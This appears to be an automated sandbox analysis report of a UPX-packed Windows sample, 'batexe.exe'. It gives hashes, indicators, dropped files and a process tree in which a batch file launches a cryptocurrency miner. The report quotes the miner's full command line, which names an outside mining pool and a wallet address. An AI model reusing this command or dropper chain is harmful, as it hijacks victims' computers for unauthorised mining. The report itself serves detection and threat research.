73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
293s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21/02/2024, 17:30

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4652	b2e.exe
516	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
516	cpuminer-sse2.exe
516	cpuminer-sse2.exe
516	cpuminer-sse2.exe
516	cpuminer-sse2.exe
516	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2180-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 4652	2180	batexe.exe	74
PID 2180 wrote to memory of 4652	2180	batexe.exe	74
PID 2180 wrote to memory of 4652	2180	batexe.exe	74
PID 4652 wrote to memory of 4992	4652	b2e.exe	76
PID 4652 wrote to memory of 4992	4652	b2e.exe	76
PID 4652 wrote to memory of 4992	4652	b2e.exe	76
PID 4992 wrote to memory of 516	4992	cmd.exe	78
PID 4992 wrote to memory of 516	4992	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Users\Admin\AppData\Local\Temp\BC89.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BC89.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BC89.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BF97.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BC89.tmp\b2e.exe

Filesize
2.6MB

MD5
aeaadd3660024f32e0d6c99eb814752d

SHA1
b383ac24a35544c39447bd326d96bb6721e764eb

SHA256
777e06a3ee68e2f06cd45a43690f8b08f6ae98ecf9e18c60256b442168202512

SHA512
b4b3d161a6d861ed8a96e9ee9b3a76ad4e6597944fd0c8acc82f48184ac5737152ba9a41ee79782c33f21d7da91df1e36bb69b060aa49b18d65a3232734745e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\BC89.tmp\b2e.exe

Filesize
2.1MB

MD5
280e5c269e6706259c70f22cb94823c5

SHA1
5b5a544238a26c64ce1fc0a7d9fb05526026ec2f

SHA256
016ba028f4bea99c77ee739526d8a1bf904a9711711f0d92b1e3918b0e841672

SHA512
4f4fc77eead60b96b35c0f96bddc61a7cc1d19cf5fef846b8e3ea322199b49f4faee157dfd8e36dbce46f7fab5bf5e65d65b3c5306bb95c6c2046f470e406008

Download Submit
C:\Users\Admin\AppData\Local\Temp\BF97.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
808627b2bdbf7c0159acb1db03ca0b16

SHA1
203139f765c03707b4e3fe099b0509aa4288bcc2

SHA256
fba82639422beb10de6c66fc0d610209a1d576e386b38eb997bf23ab05fdcbdc

SHA512
814d694255dbd3e5ccee03ab41692ca536a891119d6214a423b4cb8741039483d620f469056a1e9e9f2efa8287f8582ae289fd4918457c725f4b61a0b6549ac9

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
c09a4f036f4d6dc0296852daae7859c8

SHA1
d897acc8e95efa05314a1914011bc7920f3f0405

SHA256
b7b22d9a4a913d8a64b781d79f2cfc6ecbb57bb5bfbc8c1f2669b55ea34f527a

SHA512
499f7660233f48929437d688c68347d96e0ba82490b6fa7be27adadda4045fe7b94dca9356e9f0e8121854ea488ebaa12882150b56d2503321053c07e08f2e5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
bd351ccc6c21816ce91cfb5966b0bb5f

SHA1
ea63c7708bf0ae255278fa599ba6459c05467c5b

SHA256
01f801afb301753b93a1d88b033960ba802ded0fe31c37e2a7c8f7b63840ed25

SHA512
b34115138bfda1098be1793e28113b241a7ff1e269986a68f835917961b4cf4d684ee2555cc3bb261d13f741fb657b99c1ca1bce74713876bf6f10c26a1aaa7e

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
44229065b835fffa8791fee9b30d85d8

SHA1
3928233b1c782b54c75be3b996ed78b0c176e9bd

SHA256
888c322cff6a227d91dc9122be03723b7f7dc1b22a1b757df4f90628bd89c488

SHA512
578ebcb4151409f79cf8d37f98cdf18a7aa2c24add78f416cd531fbe7c4cc4ec8b19791ce50a42660f08820064e22449788fca1118c07e9a800ccb120c493480

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
415d7cdb58e5d53edba45d0968d85b68

SHA1
2f40e37233d46f702b4ad9b4e11c351b6e88c507

SHA256
a1fcb3f5b72ac30bcedb9bb7a3ac6e368edaeebcf3cff431e9e41fc5e58d0e5c

SHA512
bf690e59f6c703ae0532cbda96435df8d8ce1531d61145f2636a43573d4aa50ce6102dce167a1d49fb53e506c1117a9677bdf24ce002cd50fb5fb03a9d67923a

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/516-43-0x0000000073DA0000-0x0000000073E38000-memory.dmp

Filesize
608KB

Download
memory/516-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/516-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/516-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-44-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/516-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2180-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4652-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4652-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download